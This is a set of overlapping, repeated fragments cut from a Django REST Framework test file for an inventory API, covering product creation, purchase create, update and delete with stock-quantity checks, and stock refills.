"self.url = reverse('refill-list') def test_cannot_refill(self): res = self.client.post(self.url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_cannot_refill_wrong_data(self): data",
"tests here. class TestProductViews(APITestCase): def setUp(self): self.product_url = reverse('products-list') self.product_data = { 'product_id':",
"self.purchase.purchased_quantity res = self.client.delete(self.purchase_detail_url) new_qty = ProductsTbl.objects.get(id=self.product.id).quantity self.assertEqual(res.status_code, status.HTTP_204_NO_CONTENT) self.assertEqual(new_qty, (qty + purchase_quantity))",
"self.assertEqual(res.data['purchased_quantity'], self.purchase_data['purchased_quantity']) self.assertEqual( new_qty, (qty - self.purchase_data['purchased_quantity'])) def test_cannot_update_purchase(self): res = self.client.put(self.purchase_detail_url) self.assertEqual(res.status_code,",
"self.assertEqual(res.data['purchase_id'], self.purchase_data['purchase_id']) self.assertEqual(res.data['purchased_quantity'], self.purchase_data['purchased_quantity']) self.assertEqual( new_qty, (qty - self.purchase_data['purchased_quantity'])) def test_cannot_update_purchase(self): res =",
"res = self.client.post(self.product_url, self.product_data) self.assertEqual(res.status_code, status.HTTP_201_CREATED) self.assertEqual(res.data['product_id'], self.product_data['product_id']) self.assertEqual(res.data['name'], self.product_data['name']) self.assertEqual(res.data['quantity'], self.product_data['quantity']) class",
"= self.client.post(self.purchase_url, self.purchase_data) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_create_purchase_with_data(self): product = ProductsTbl.objects.create( product_id=10215, name='<NAME>', quantity=105,",
"from rest_framework.test import APITestCase from django.shortcuts import reverse from rest_framework import status from",
"unit_price=100.00 ) qty = product.quantity res = self.client.post(self.purchase_url, self.purchase_data) new_qty = ProductsTbl.objects.get( product_id=res.data['product_id']).quantity",
"self.assertEqual(qty, check_qty) def test_cannot_delete_purchase(self): res = self.client.delete( reverse('purchases-detail', kwargs={'pk': 100})) self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) def",
"test_cannot_delete_purchase(self): res = self.client.delete( reverse('purchases-detail', kwargs={'pk': 100})) self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) def test_delete_purchase(self): qty =",
"product_id=10215, name='<NAME>', quantity=105, unit_price=100.00 ) qty = product.quantity res = self.client.post(self.purchase_url, self.purchase_data) new_qty",
"= self.client.delete(self.purchase_detail_url) new_qty = ProductsTbl.objects.get(id=self.product.id).quantity self.assertEqual(res.status_code, status.HTTP_204_NO_CONTENT) self.assertEqual(new_qty, (qty + purchase_quantity)) class TestRefillView(APITestCase):",
"res = self.client.put(self.purchase_detail_url, data) check_qty = ProductsTbl.objects.get(id=self.product.pk).quantity self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(res.data['purchased_quantity'], data['purchased_quantity']) self.assertEqual(qty, check_qty)",
"'product_id': 10215, 'name': '<NAME>', 'quantity': 105, 'unit_price': 100.00 } def test_cannot_create_products(self): res =",
"qty = product.quantity res = self.client.post(self.purchase_url, self.purchase_data) new_qty = ProductsTbl.objects.get( product_id=res.data['product_id']).quantity self.assertEqual(res.status_code, status.HTTP_201_CREATED)",
"self.assertEqual(res.data['product_id'], self.product_data['product_id']) self.assertEqual(res.data['name'], self.product_data['name']) self.assertEqual(res.data['quantity'], self.product_data['quantity']) class TestPurchaseViews(APITestCase): def setUp(self): self.purchase_url = reverse('purchases-list')",
"test_cannot_create_purchase_wrong_data(self): res = self.client.post(self.purchase_url, self.purchase_data) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_create_purchase_with_data(self): product = ProductsTbl.objects.create( product_id=10215,",
"ProductsTbl.objects.get(id=self.product.id).quantity self.assertEqual(res.status_code, status.HTTP_204_NO_CONTENT) self.assertEqual(new_qty, (qty + purchase_quantity)) class TestRefillView(APITestCase): def setUp(self): self.product =",
"= self.product.quantity new_qty = quantity+data['refill_count'] res = self.client.post(self.url,data) check_qty = ProductsTbl.objects.get(id=self.product.pk).quantity self.assertEqual(res.status_code, status.HTTP_200_OK)",
"class TestPurchaseViews(APITestCase): def setUp(self): self.purchase_url = reverse('purchases-list') self.purchase_data = { 'product_id': 10215, 'purchase_id':",
"res = self.client.post(self.product_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_create_product(self): res = self.client.post(self.product_url, self.product_data) self.assertEqual(res.status_code, status.HTTP_201_CREATED)",
"self.purchase.pk}) def test_cannot_create_purchase(self): res = self.client.post(self.purchase_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_cannot_create_purchase_wrong_data(self): res = self.client.post(self.purchase_url,",
"def test_create_product(self): res = self.client.post(self.product_url, self.product_data) self.assertEqual(res.status_code, status.HTTP_201_CREATED) self.assertEqual(res.data['product_id'], self.product_data['product_id']) self.assertEqual(res.data['name'], self.product_data['name']) self.assertEqual(res.data['quantity'],",
"data = {'purchased_quantity': 50} qty = self.product.quantity old_qty = self.purchase.purchased_quantity new_qty = data['purchased_quantity']",
"def test_cannot_delete_purchase(self): res = self.client.delete( reverse('purchases-detail', kwargs={'pk': 100})) self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) def test_delete_purchase(self): qty",
"= reverse( 'purchases-detail', kwargs={'pk': self.purchase.pk}) def test_cannot_create_purchase(self): res = self.client.post(self.purchase_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def",
"(qty - self.purchase_data['purchased_quantity'])) def test_cannot_update_purchase(self): res = self.client.put(self.purchase_detail_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_update_purchase(self): data",
"ProductsTbl, PurchaseTransactionTbl # Create your tests here. class TestProductViews(APITestCase): def setUp(self): self.product_url =",
"- self.purchase_data['purchased_quantity'])) def test_cannot_update_purchase(self): res = self.client.put(self.purchase_detail_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_update_purchase(self): data =",
"- (new_qty - old_qty) res = self.client.put(self.purchase_detail_url, data) check_qty = ProductsTbl.objects.get(id=self.product.pk).quantity self.assertEqual(res.status_code, status.HTTP_200_OK)",
"def test_cannot_create_purchase_wrong_data(self): res = self.client.post(self.purchase_url, self.purchase_data) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_create_purchase_with_data(self): product = ProductsTbl.objects.create(",
"- old_qty) res = self.client.put(self.purchase_detail_url, data) check_qty = ProductsTbl.objects.get(id=self.product.pk).quantity self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(res.data['purchased_quantity'], data['purchased_quantity'])",
"Create your tests here. class TestProductViews(APITestCase): def setUp(self): self.product_url = reverse('products-list') self.product_data =",
"TestRefillView(APITestCase): def setUp(self): self.product = ProductsTbl.objects.create( product_id=10001, name='<NAME>', quantity=100, unit_price=2500 ) self.url =",
"purchased_quantity=75 ) self.purchase_detail_url = reverse( 'purchases-detail', kwargs={'pk': self.purchase.pk}) def test_cannot_create_purchase(self): res = self.client.post(self.purchase_url)",
"= self.purchase.purchased_quantity res = self.client.delete(self.purchase_detail_url) new_qty = ProductsTbl.objects.get(id=self.product.id).quantity self.assertEqual(res.status_code, status.HTTP_204_NO_CONTENT) self.assertEqual(new_qty, (qty +",
"name='<NAME>', quantity=100, unit_price=100.00 ) self.purchase = PurchaseTransactionTbl.objects.create( product=self.product, purchase_id='d6asd65asd654as5d4', purchased_quantity=75 ) self.purchase_detail_url =",
"def test_cannot_refill_wrong_data(self): data = { 'product_id':1000, 'refill_count':100, } res = self.client.post(self.url, data) self.assertEqual(res.status_code,",
"= ProductsTbl.objects.get(id=self.product.pk).quantity self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(res.data['purchased_quantity'], data['purchased_quantity']) self.assertEqual(qty, check_qty) def test_cannot_delete_purchase(self): res = self.client.delete(",
"name='<NAME>', quantity=100, unit_price=2500 ) self.url = reverse('refill-list') def test_cannot_refill(self): res = self.client.post(self.url) self.assertEqual(res.status_code,",
"= { 'product_id': 10215, 'name': '<NAME>', 'quantity': 105, 'unit_price': 100.00 } def test_cannot_create_products(self):",
"= {'purchased_quantity': 50} qty = self.product.quantity old_qty = self.purchase.purchased_quantity new_qty = data['purchased_quantity'] qty",
"= ProductsTbl.objects.create( product_id=10001, name='<NAME>', quantity=100, unit_price=2500 ) self.url = reverse('refill-list') def test_cannot_refill(self): res",
"setUp(self): self.purchase_url = reverse('purchases-list') self.purchase_data = { 'product_id': 10215, 'purchase_id': '8d7qdouiabnsdodAY9DQJp09', 'purchased_quantity': 90,",
"{ 'product_id': 10215, 'name': '<NAME>', 'quantity': 105, 'unit_price': 100.00 } def test_cannot_create_products(self): res",
"self.purchase_url = reverse('purchases-list') self.purchase_data = { 'product_id': 10215, 'purchase_id': '8d7qdouiabnsdodAY9DQJp09', 'purchased_quantity': 90, }",
"self.product.quantity old_qty = self.purchase.purchased_quantity new_qty = data['purchased_quantity'] qty = qty - (new_qty -",
"self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(res.data['purchased_quantity'], data['purchased_quantity']) self.assertEqual(qty, check_qty) def test_cannot_delete_purchase(self): res = self.client.delete( reverse('purchases-detail', kwargs={'pk':",
"100})) self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) def test_delete_purchase(self): qty = self.product.quantity purchase_quantity = self.purchase.purchased_quantity res =",
"self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_cannot_create_purchase_wrong_data(self): res = self.client.post(self.purchase_url, self.purchase_data) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_create_purchase_with_data(self): product",
"self.purchase.purchased_quantity new_qty = data['purchased_quantity'] qty = qty - (new_qty - old_qty) res =",
"old_qty) res = self.client.put(self.purchase_detail_url, data) check_qty = ProductsTbl.objects.get(id=self.product.pk).quantity self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(res.data['purchased_quantity'], data['purchased_quantity']) self.assertEqual(qty,",
"self.assertEqual(res.data['product_id'], self.purchase_data['product_id']) self.assertEqual(res.data['purchase_id'], self.purchase_data['purchase_id']) self.assertEqual(res.data['purchased_quantity'], self.purchase_data['purchased_quantity']) self.assertEqual( new_qty, (qty - self.purchase_data['purchased_quantity'])) def test_cannot_update_purchase(self):",
"'refill_count':1000 } quantity = self.product.quantity new_qty = quantity+data['refill_count'] res = self.client.post(self.url,data) check_qty =",
"status.HTTP_200_OK) self.assertEqual(res.data['purchased_quantity'], data['purchased_quantity']) self.assertEqual(qty, check_qty) def test_cannot_delete_purchase(self): res = self.client.delete( reverse('purchases-detail', kwargs={'pk': 100}))",
"# Create your tests here. class TestProductViews(APITestCase): def setUp(self): self.product_url = reverse('products-list') self.product_data",
"import ProductsTbl, PurchaseTransactionTbl # Create your tests here. class TestProductViews(APITestCase): def setUp(self): self.product_url",
"class TestProductViews(APITestCase): def setUp(self): self.product_url = reverse('products-list') self.product_data = { 'product_id': 10215, 'name':",
"self.purchase_data['product_id']) self.assertEqual(res.data['purchase_id'], self.purchase_data['purchase_id']) self.assertEqual(res.data['purchased_quantity'], self.purchase_data['purchased_quantity']) self.assertEqual( new_qty, (qty - self.purchase_data['purchased_quantity'])) def test_cannot_update_purchase(self): res",
"+ purchase_quantity)) class TestRefillView(APITestCase): def setUp(self): self.product = ProductsTbl.objects.create( product_id=10001, name='<NAME>', quantity=100, unit_price=2500",
") self.purchase = PurchaseTransactionTbl.objects.create( product=self.product, purchase_id='d6asd65asd654as5d4', purchased_quantity=75 ) self.purchase_detail_url = reverse( 'purchases-detail', kwargs={'pk':",
"reverse( 'purchases-detail', kwargs={'pk': self.purchase.pk}) def test_cannot_create_purchase(self): res = self.client.post(self.purchase_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_cannot_create_purchase_wrong_data(self):",
"unit_price=2500 ) self.url = reverse('refill-list') def test_cannot_refill(self): res = self.client.post(self.url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def",
"reverse('refill-list') def test_cannot_refill(self): res = self.client.post(self.url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_cannot_refill_wrong_data(self): data = {",
"setUp(self): self.product_url = reverse('products-list') self.product_data = { 'product_id': 10215, 'name': '<NAME>', 'quantity': 105,",
"ProductsTbl.objects.create( product_id=10215, name='<NAME>', quantity=105, unit_price=100.00 ) qty = product.quantity res = self.client.post(self.purchase_url, self.purchase_data)",
"ProductsTbl.objects.create( product_id=10001, name='<NAME>', quantity=100, unit_price=2500 ) self.url = reverse('refill-list') def test_cannot_refill(self): res =",
"self.product = ProductsTbl.objects.create( product_id=10216, name='<NAME>', quantity=100, unit_price=100.00 ) self.purchase = PurchaseTransactionTbl.objects.create( product=self.product, purchase_id='d6asd65asd654as5d4',",
") self.url = reverse('refill-list') def test_cannot_refill(self): res = self.client.post(self.url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_cannot_refill_wrong_data(self):",
"purchase_quantity)) class TestRefillView(APITestCase): def setUp(self): self.product = ProductsTbl.objects.create( product_id=10001, name='<NAME>', quantity=100, unit_price=2500 )",
"data ={ 'product_id':self.product.product_id, 'refill_count':1000 } quantity = self.product.quantity new_qty = quantity+data['refill_count'] res =",
"'unit_price': 100.00 } def test_cannot_create_products(self): res = self.client.post(self.product_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_create_product(self): res",
"self.client.put(self.purchase_detail_url, data) check_qty = ProductsTbl.objects.get(id=self.product.pk).quantity self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(res.data['purchased_quantity'], data['purchased_quantity']) self.assertEqual(qty, check_qty) def test_cannot_delete_purchase(self):",
"'purchase_id': '8d7qdouiabnsdodAY9DQJp09', 'purchased_quantity': 90, } self.product = ProductsTbl.objects.create( product_id=10216, name='<NAME>', quantity=100, unit_price=100.00 )",
"data = { 'product_id':1000, 'refill_count':100, } res = self.client.post(self.url, data) self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) def",
"= self.client.post(self.url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_cannot_refill_wrong_data(self): data = { 'product_id':1000, 'refill_count':100, } res",
"def setUp(self): self.product_url = reverse('products-list') self.product_data = { 'product_id': 10215, 'name': '<NAME>', 'quantity':",
"= reverse('products-list') self.product_data = { 'product_id': 10215, 'name': '<NAME>', 'quantity': 105, 'unit_price': 100.00",
"'product_id':self.product.product_id, 'refill_count':1000 } quantity = self.product.quantity new_qty = quantity+data['refill_count'] res = self.client.post(self.url,data) check_qty",
"self.product_data['quantity']) class TestPurchaseViews(APITestCase): def setUp(self): self.purchase_url = reverse('purchases-list') self.purchase_data = { 'product_id': 10215,",
"105, 'unit_price': 100.00 } def test_cannot_create_products(self): res = self.client.post(self.product_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_create_product(self):",
"from rest_framework import status from core.models import ProductsTbl, PurchaseTransactionTbl # Create your tests",
"res = self.client.put(self.purchase_detail_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_update_purchase(self): data = {'purchased_quantity': 50} qty =",
"self.client.delete(self.purchase_detail_url) new_qty = ProductsTbl.objects.get(id=self.product.id).quantity self.assertEqual(res.status_code, status.HTTP_204_NO_CONTENT) self.assertEqual(new_qty, (qty + purchase_quantity)) class TestRefillView(APITestCase): def",
"self.assertEqual(res.data['quantity'], self.product_data['quantity']) class TestPurchaseViews(APITestCase): def setUp(self): self.purchase_url = reverse('purchases-list') self.purchase_data = { 'product_id':",
"self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_cannot_refill_wrong_data(self): data = { 'product_id':1000, 'refill_count':100, } res = self.client.post(self.url,",
"'8d7qdouiabnsdodAY9DQJp09', 'purchased_quantity': 90, } self.product = ProductsTbl.objects.create( product_id=10216, name='<NAME>', quantity=100, unit_price=100.00 ) self.purchase",
"= PurchaseTransactionTbl.objects.create( product=self.product, purchase_id='d6asd65asd654as5d4', purchased_quantity=75 ) self.purchase_detail_url = reverse( 'purchases-detail', kwargs={'pk': self.purchase.pk}) def",
"= ProductsTbl.objects.create( product_id=10215, name='<NAME>', quantity=105, unit_price=100.00 ) qty = product.quantity res = self.client.post(self.purchase_url,",
"self.assertEqual(res.status_code, status.HTTP_204_NO_CONTENT) self.assertEqual(new_qty, (qty + purchase_quantity)) class TestRefillView(APITestCase): def setUp(self): self.product = ProductsTbl.objects.create(",
"status.HTTP_404_NOT_FOUND) def test_refill(self): data ={ 'product_id':self.product.product_id, 'refill_count':1000 } quantity = self.product.quantity new_qty =",
"self.assertEqual(new_qty, (qty + purchase_quantity)) class TestRefillView(APITestCase): def setUp(self): self.product = ProductsTbl.objects.create( product_id=10001, name='<NAME>',",
"'name': '<NAME>', 'quantity': 105, 'unit_price': 100.00 } def test_cannot_create_products(self): res = self.client.post(self.product_url) self.assertEqual(res.status_code,",
"status.HTTP_400_BAD_REQUEST) def test_create_product(self): res = self.client.post(self.product_url, self.product_data) self.assertEqual(res.status_code, status.HTTP_201_CREATED) self.assertEqual(res.data['product_id'], self.product_data['product_id']) self.assertEqual(res.data['name'], self.product_data['name'])",
"res = self.client.post(self.purchase_url, self.purchase_data) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_create_purchase_with_data(self): product = ProductsTbl.objects.create( product_id=10215, name='<NAME>',",
"product=self.product, purchase_id='d6asd65asd654as5d4', purchased_quantity=75 ) self.purchase_detail_url = reverse( 'purchases-detail', kwargs={'pk': self.purchase.pk}) def test_cannot_create_purchase(self): res",
"test_delete_purchase(self): qty = self.product.quantity purchase_quantity = self.purchase.purchased_quantity res = self.client.delete(self.purchase_detail_url) new_qty = ProductsTbl.objects.get(id=self.product.id).quantity",
"new_qty, (qty - self.purchase_data['purchased_quantity'])) def test_cannot_update_purchase(self): res = self.client.put(self.purchase_detail_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_update_purchase(self):",
"100.00 } def test_cannot_create_products(self): res = self.client.post(self.product_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_create_product(self): res =",
"= { 'product_id':1000, 'refill_count':100, } res = self.client.post(self.url, data) self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) def test_refill(self):",
"quantity = self.product.quantity new_qty = quantity+data['refill_count'] res = self.client.post(self.url,data) check_qty = ProductsTbl.objects.get(id=self.product.pk).quantity self.assertEqual(res.status_code,",
"= reverse('refill-list') def test_cannot_refill(self): res = self.client.post(self.url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_cannot_refill_wrong_data(self): data =",
"new_qty = ProductsTbl.objects.get( product_id=res.data['product_id']).quantity self.assertEqual(res.status_code, status.HTTP_201_CREATED) self.assertEqual(res.data['product_id'], self.purchase_data['product_id']) self.assertEqual(res.data['purchase_id'], self.purchase_data['purchase_id']) self.assertEqual(res.data['purchased_quantity'], self.purchase_data['purchased_quantity']) self.assertEqual(",
"(new_qty - old_qty) res = self.client.put(self.purchase_detail_url, data) check_qty = ProductsTbl.objects.get(id=self.product.pk).quantity self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(res.data['purchased_quantity'],",
"new_qty = ProductsTbl.objects.get(id=self.product.id).quantity self.assertEqual(res.status_code, status.HTTP_204_NO_CONTENT) self.assertEqual(new_qty, (qty + purchase_quantity)) class TestRefillView(APITestCase): def setUp(self):",
"90, } self.product = ProductsTbl.objects.create( product_id=10216, name='<NAME>', quantity=100, unit_price=100.00 ) self.purchase = PurchaseTransactionTbl.objects.create(",
"self.purchase_data) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_create_purchase_with_data(self): product = ProductsTbl.objects.create( product_id=10215, name='<NAME>', quantity=105, unit_price=100.00 )",
"self.purchase_data = { 'product_id': 10215, 'purchase_id': '8d7qdouiabnsdodAY9DQJp09', 'purchased_quantity': 90, } self.product = ProductsTbl.objects.create(",
"= reverse('purchases-list') self.purchase_data = { 'product_id': 10215, 'purchase_id': '8d7qdouiabnsdodAY9DQJp09', 'purchased_quantity': 90, } self.product",
"self.client.post(self.purchase_url, self.purchase_data) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_create_purchase_with_data(self): product = ProductsTbl.objects.create( product_id=10215, name='<NAME>', quantity=105, unit_price=100.00",
"data) check_qty = ProductsTbl.objects.get(id=self.product.pk).quantity self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(res.data['purchased_quantity'], data['purchased_quantity']) self.assertEqual(qty, check_qty) def test_cannot_delete_purchase(self): res",
"check_qty) def test_cannot_delete_purchase(self): res = self.client.delete( reverse('purchases-detail', kwargs={'pk': 100})) self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) def test_delete_purchase(self):",
"res = self.client.post(self.url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_cannot_refill_wrong_data(self): data = { 'product_id':1000, 'refill_count':100, }",
"= self.product.quantity old_qty = self.purchase.purchased_quantity new_qty = data['purchased_quantity'] qty = qty - (new_qty",
"status.HTTP_400_BAD_REQUEST) def test_cannot_create_purchase_wrong_data(self): res = self.client.post(self.purchase_url, self.purchase_data) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_create_purchase_with_data(self): product =",
"reverse('purchases-detail', kwargs={'pk': 100})) self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) def test_delete_purchase(self): qty = self.product.quantity purchase_quantity = self.purchase.purchased_quantity",
"unit_price=100.00 ) self.purchase = PurchaseTransactionTbl.objects.create( product=self.product, purchase_id='d6asd65asd654as5d4', purchased_quantity=75 ) self.purchase_detail_url = reverse( 'purchases-detail',",
"def test_update_purchase(self): data = {'purchased_quantity': 50} qty = self.product.quantity old_qty = self.purchase.purchased_quantity new_qty",
"'refill_count':100, } res = self.client.post(self.url, data) self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) def test_refill(self): data ={ 'product_id':self.product.product_id,",
"= self.client.delete( reverse('purchases-detail', kwargs={'pk': 100})) self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) def test_delete_purchase(self): qty = self.product.quantity purchase_quantity",
"= { 'product_id': 10215, 'purchase_id': '8d7qdouiabnsdodAY9DQJp09', 'purchased_quantity': 90, } self.product = ProductsTbl.objects.create( product_id=10216,",
"= self.client.post(self.purchase_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_cannot_create_purchase_wrong_data(self): res = self.client.post(self.purchase_url, self.purchase_data) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def",
"test_create_product(self): res = self.client.post(self.product_url, self.product_data) self.assertEqual(res.status_code, status.HTTP_201_CREATED) self.assertEqual(res.data['product_id'], self.product_data['product_id']) self.assertEqual(res.data['name'], self.product_data['name']) self.assertEqual(res.data['quantity'], self.product_data['quantity'])",
"= ProductsTbl.objects.get(id=self.product.id).quantity self.assertEqual(res.status_code, status.HTTP_204_NO_CONTENT) self.assertEqual(new_qty, (qty + purchase_quantity)) class TestRefillView(APITestCase): def setUp(self): self.product",
"self.client.post(self.product_url, self.product_data) self.assertEqual(res.status_code, status.HTTP_201_CREATED) self.assertEqual(res.data['product_id'], self.product_data['product_id']) self.assertEqual(res.data['name'], self.product_data['name']) self.assertEqual(res.data['quantity'], self.product_data['quantity']) class TestPurchaseViews(APITestCase): def",
"'quantity': 105, 'unit_price': 100.00 } def test_cannot_create_products(self): res = self.client.post(self.product_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def",
"} def test_cannot_create_products(self): res = self.client.post(self.product_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_create_product(self): res = self.client.post(self.product_url,",
"test_cannot_update_purchase(self): res = self.client.put(self.purchase_detail_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_update_purchase(self): data = {'purchased_quantity': 50} qty",
"status.HTTP_400_BAD_REQUEST) def test_cannot_refill_wrong_data(self): data = { 'product_id':1000, 'refill_count':100, } res = self.client.post(self.url, data)",
"self.assertEqual(res.status_code, status.HTTP_201_CREATED) self.assertEqual(res.data['product_id'], self.product_data['product_id']) self.assertEqual(res.data['name'], self.product_data['name']) self.assertEqual(res.data['quantity'], self.product_data['quantity']) class TestPurchaseViews(APITestCase): def setUp(self): self.purchase_url",
"self.purchase = PurchaseTransactionTbl.objects.create( product=self.product, purchase_id='d6asd65asd654as5d4', purchased_quantity=75 ) self.purchase_detail_url = reverse( 'purchases-detail', kwargs={'pk': self.purchase.pk})",
"= self.purchase.purchased_quantity new_qty = data['purchased_quantity'] qty = qty - (new_qty - old_qty) res",
"self.product_url = reverse('products-list') self.product_data = { 'product_id': 10215, 'name': '<NAME>', 'quantity': 105, 'unit_price':",
"purchase_quantity = self.purchase.purchased_quantity res = self.client.delete(self.purchase_detail_url) new_qty = ProductsTbl.objects.get(id=self.product.id).quantity self.assertEqual(res.status_code, status.HTTP_204_NO_CONTENT) self.assertEqual(new_qty, (qty",
"(qty + purchase_quantity)) class TestRefillView(APITestCase): def setUp(self): self.product = ProductsTbl.objects.create( product_id=10001, name='<NAME>', quantity=100,",
"def test_cannot_refill(self): res = self.client.post(self.url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_cannot_refill_wrong_data(self): data = { 'product_id':1000,",
"} res = self.client.post(self.url, data) self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) def test_refill(self): data ={ 'product_id':self.product.product_id, 'refill_count':1000",
"self.assertEqual(res.status_code, status.HTTP_201_CREATED) self.assertEqual(res.data['product_id'], self.purchase_data['product_id']) self.assertEqual(res.data['purchase_id'], self.purchase_data['purchase_id']) self.assertEqual(res.data['purchased_quantity'], self.purchase_data['purchased_quantity']) self.assertEqual( new_qty, (qty - self.purchase_data['purchased_quantity']))",
"test_update_purchase(self): data = {'purchased_quantity': 50} qty = self.product.quantity old_qty = self.purchase.purchased_quantity new_qty =",
"self.assertEqual(res.data['purchased_quantity'], data['purchased_quantity']) self.assertEqual(qty, check_qty) def test_cannot_delete_purchase(self): res = self.client.delete( reverse('purchases-detail', kwargs={'pk': 100})) self.assertEqual(res.status_code,",
") qty = product.quantity res = self.client.post(self.purchase_url, self.purchase_data) new_qty = ProductsTbl.objects.get( product_id=res.data['product_id']).quantity self.assertEqual(res.status_code,",
"self.product.quantity purchase_quantity = self.purchase.purchased_quantity res = self.client.delete(self.purchase_detail_url) new_qty = ProductsTbl.objects.get(id=self.product.id).quantity self.assertEqual(res.status_code, status.HTTP_204_NO_CONTENT) self.assertEqual(new_qty,",
"={ 'product_id':self.product.product_id, 'refill_count':1000 } quantity = self.product.quantity new_qty = quantity+data['refill_count'] res = self.client.post(self.url,data)",
"10215, 'purchase_id': '8d7qdouiabnsdodAY9DQJp09', 'purchased_quantity': 90, } self.product = ProductsTbl.objects.create( product_id=10216, name='<NAME>', quantity=100, unit_price=100.00",
"= self.product.quantity purchase_quantity = self.purchase.purchased_quantity res = self.client.delete(self.purchase_detail_url) new_qty = ProductsTbl.objects.get(id=self.product.id).quantity self.assertEqual(res.status_code, status.HTTP_204_NO_CONTENT)",
"data['purchased_quantity']) self.assertEqual(qty, check_qty) def test_cannot_delete_purchase(self): res = self.client.delete( reverse('purchases-detail', kwargs={'pk': 100})) self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND)",
"here. class TestProductViews(APITestCase): def setUp(self): self.product_url = reverse('products-list') self.product_data = { 'product_id': 10215,",
"status.HTTP_201_CREATED) self.assertEqual(res.data['product_id'], self.purchase_data['product_id']) self.assertEqual(res.data['purchase_id'], self.purchase_data['purchase_id']) self.assertEqual(res.data['purchased_quantity'], self.purchase_data['purchased_quantity']) self.assertEqual( new_qty, (qty - self.purchase_data['purchased_quantity'])) def",
"'purchased_quantity': 90, } self.product = ProductsTbl.objects.create( product_id=10216, name='<NAME>', quantity=100, unit_price=100.00 ) self.purchase =",
"product_id=10001, name='<NAME>', quantity=100, unit_price=2500 ) self.url = reverse('refill-list') def test_cannot_refill(self): res = self.client.post(self.url)",
"= ProductsTbl.objects.create( product_id=10216, name='<NAME>', quantity=100, unit_price=100.00 ) self.purchase = PurchaseTransactionTbl.objects.create( product=self.product, purchase_id='d6asd65asd654as5d4', purchased_quantity=75",
"test_cannot_create_products(self): res = self.client.post(self.product_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_create_product(self): res = self.client.post(self.product_url, self.product_data) self.assertEqual(res.status_code,",
"status.HTTP_400_BAD_REQUEST) def test_create_purchase_with_data(self): product = ProductsTbl.objects.create( product_id=10215, name='<NAME>', quantity=105, unit_price=100.00 ) qty =",
"qty = qty - (new_qty - old_qty) res = self.client.put(self.purchase_detail_url, data) check_qty =",
"ProductsTbl.objects.get( product_id=res.data['product_id']).quantity self.assertEqual(res.status_code, status.HTTP_201_CREATED) self.assertEqual(res.data['product_id'], self.purchase_data['product_id']) self.assertEqual(res.data['purchase_id'], self.purchase_data['purchase_id']) self.assertEqual(res.data['purchased_quantity'], self.purchase_data['purchased_quantity']) self.assertEqual( new_qty, (qty",
"def test_cannot_update_purchase(self): res = self.client.put(self.purchase_detail_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_update_purchase(self): data = {'purchased_quantity': 50}",
"def setUp(self): self.product = ProductsTbl.objects.create( product_id=10001, name='<NAME>', quantity=100, unit_price=2500 ) self.url = reverse('refill-list')",
"self.product_data = { 'product_id': 10215, 'name': '<NAME>', 'quantity': 105, 'unit_price': 100.00 } def",
